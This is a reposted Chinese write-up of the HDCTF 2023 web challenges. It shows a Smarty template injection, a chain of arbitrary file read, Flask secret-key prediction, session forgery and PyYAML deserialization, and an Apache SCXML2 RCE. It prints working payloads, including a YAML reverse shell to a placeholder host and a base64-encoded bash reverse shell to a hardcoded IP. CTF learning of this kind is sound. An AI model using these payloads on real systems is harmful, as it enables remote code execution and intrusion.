HDCTF web复现
[HDCTF 2023]SearchMaster
传data
使用{if}标签闭合达到命令执行的效果
{if phpinfo()}{/if}
NSSCTF{f578f8ba-246e-452b-b070-22bc4fc4313d}
Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)
[HDCTF 2023]YamiYami
非预期解
第一个连接 跳转到百度,结合链接名,那就是任意文件读取。
self 读不到 flag 换成1 可以读到
NSSCTF{9fade70a-7ddd-4e99-add3-1a53f2ed9608}
预期解
利用任意文件读取 /app.py 文件
/read?url=file:///app.py
发现过滤
url 编码绕过 此过滤
app/app.py 二次编码后:
%61%70%70%2f%61%70%70%2e%70%79
源码:
-
#encoding:utf-8
-
import os
-
import re, random, uuid
-
from flask import *
-
from werkzeug.utils import *
-
import yaml
-
from urllib.request import urlopen
-
"导入所需的模块和库"
-
-
app = Flask(__name__)
-
"创建Flask应用实例"
-
-
random.seed(uuid.getnode())
-
app.config['SECRET_KEY'] = str(random.random()*233)
-
app.debug = False
-
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
-
app.config['UPLOAD_FOLDER']="/app/uploads"
-
"配置应用"
-
-
-
def index():
-
session['passport'] = 'YamiYami'
-
return '''
-
Welcome to HDCTF2023
-
-
'''
-
-
def pwd():
-
return str(pwdpath)
-
-
def read():
-
try:
-
url = request.args.get('url')
-
m = re.findall('app.*', url, re.IGNORECASE)
-
n = re.findall('flag', url, re.IGNORECASE)
-
if m:
-
return "re.findall('app.*', url, re.IGNORECASE)"
-
if n:
-
return "re.findall('flag', url, re.IGNORECASE)"
-
res = urlopen(url)
-
return res.read()
-
except Exception as ex:
-
print(str(ex))
-
return 'no response'
-
-
def allowed_file(filename):
-
for blackstr in BLACK_LIST:
-
if blackstr in filename:
-
return False
-
return True
-
-
def upload_file():
-
if request.method == 'POST':
-
if 'file' not in request.files:
-
flash('No file part')
-
return redirect(request.url)
-
file = request.files['file']
-
if file.filename == '':
-
return "Empty file"
-
if file and allowed_file(file.filename):
-
filename = secure_filename(file.filename)
-
if not os.path.exists('./uploads/'):
-
os.makedirs('./uploads/')
-
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
-
return "upload successfully!"
-
return render_template("index.html")
-
-
def load():
-
if session.get("passport")=="Welcome To HDCTF2023":
-
LoadedFile=request.args.get("file")
-
if not os.path.exists(LoadedFile):
-
return "file not exists"
-
with open(LoadedFile) as f:
-
yaml.full_load(f)
-
f.close()
-
return "van you see"
-
else:
-
return "No Auth bro"
-
if __name__=='__main__':
-
pwdpath = os.popen("pwd").read()
-
app.run(
-
debug=False,
-
host="0.0.0.0"
-
)
-
print(app.config['SECRET_KEY'])
-
关键位置:
-
def load():
-
if session.get("passport")=="Welcome To HDCTF2023":
-
LoadedFile=request.args.get("file")
-
if not os.path.exists(LoadedFile):
-
return "file not exists"
-
with open(LoadedFile) as f:
-
yaml.full_load(f)
-
f.close()
-
return "van you see"
-
else:
-
return "No Auth bro"
这里 通过 if 判断 session = Welcome To HDCTF2023 时
会获取file 参数名, 如果file 存在,则使用 yaml.full_load 进行 反序列化读取文件。
这里是存在yaml 反序列化漏洞的,具体看我分析的文章
那这么说 就有两个考点了:
- session 伪造
- yaml 反序列化RCE
伪造session
如果要伪造 session 就要知道其 密钥 也就是 secret_key
在 Flask 中,SECRET_KEY 是一个用于加密会话数据的关键设置。会话(Session)是一种在客户端和服务器之间存储数据的机制,用于跟踪用户的状态和存储用户的敏感信息。在会话中存储的数据会被加密,并在客户端和服务器之间传输。
当用户与应用程序建立会话时,服务器会将会话数据存储在服务器端,并生成一个唯一的会话标识符(session ID),发送给客户端浏览器。客户端浏览器将会话标识符存储在 Cookie 中,以便在后续的请求中发送给服务器。
为了保护会话数据的安全性,Flask 使用 SECRET_KEY 对会话数据进行加密和解密操作。这个密钥被用于生成加密会话数据的签名,并在解密时验证签名的有效性。只有拥有相同的 SECRET_KEY 的服务器才能够正确解密和验证会话数据。
因此,在进行会话伪造时,攻击者需要知道应用程序使用的 SECRET_KEY 才能够成功地生成有效的伪造会话数据。如果攻击者没有正确的 SECRET_KEY,会话数据将无法被正确解密和验证,从而阻止了会话伪造攻击。
对于 代码中
-
random.seed(uuid.getnode())
-
-
app.config['SECRET_KEY'] = str(random.random()*233)
-
random.seed(uuid.getnode())
:使用机器的 MAC 地址作为随机数种子。 -
app.config['SECRET_KEY']
:设置一个随机生成的密钥作为 Flask 应用的密钥。
这里使用 机器的mac 地址作为种子,那么 我们可以读取他的 /sys/class/net/eth0/address ,这个就是他的网卡位置,读取进行伪造。
02:42:ac:02:67:42
再利用python脚本进行进一步伪造:
-
import random
-
-
random.seed(0x0242ac026742)
-
print(str(random.random()*233))
因为我们的网卡地址是16进制的 所以要在前面 0x 进行计算
结果:
226.71745730057538
再使用咱们的老工具flask_session_cookie_manager:
python3 flask_session_cookie_manager3.py encode -s "226.71745730057538" -t "{'passport': 'Welcome to HDCTF2023'}"
eyJwYXNzcG9ydCI6IldlbGNvbWUgdG8gSERDVEYyMDIzIn0.ZFjAlQ.tI9PYpQIxfklEFLCWHG2EkbvGpg
这里的session先留着一会来替换掉原来的session,接下来进行第二步Yaml反序列化
这里利用它是因为最后/boogipop
这个路由使用到了yaml.full_load(f)
内容可以是yaml形式的反弹shell的脚本,
上传yml文件,但是注意这里yml存在黑名单,因此不能后缀名为yml,改个文件后缀即可,load()记载并不是通过判断后缀名加载的。
-
- !!python/object/new:str
-
args: []
-
state: !!python/tuple
-
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/youip/6666 0>&1\"')"
-
- !!python/object/new:staticmethod
-
args: [0]
-
state:
-
update: !!python/name:exec
-
-
至于 为什么是这个形式的pyload 可以参考 yaml >5.1 的文章分析:
PyYaml反序列化漏洞详解 - 先知社区 (aliyun.com)
BabyJxVx(Apache SCXML2 RCE)
-
<?xml version="1.0"?>
-
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
-
<final id="run">
-
<onexit>
-
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}')"/>
-
</onexit>
-
</final>
-
</scxml>
-
参考文章:
Apache SCXML2 RCE分析 · 语雀 (yuque.com)
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgfijhe
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13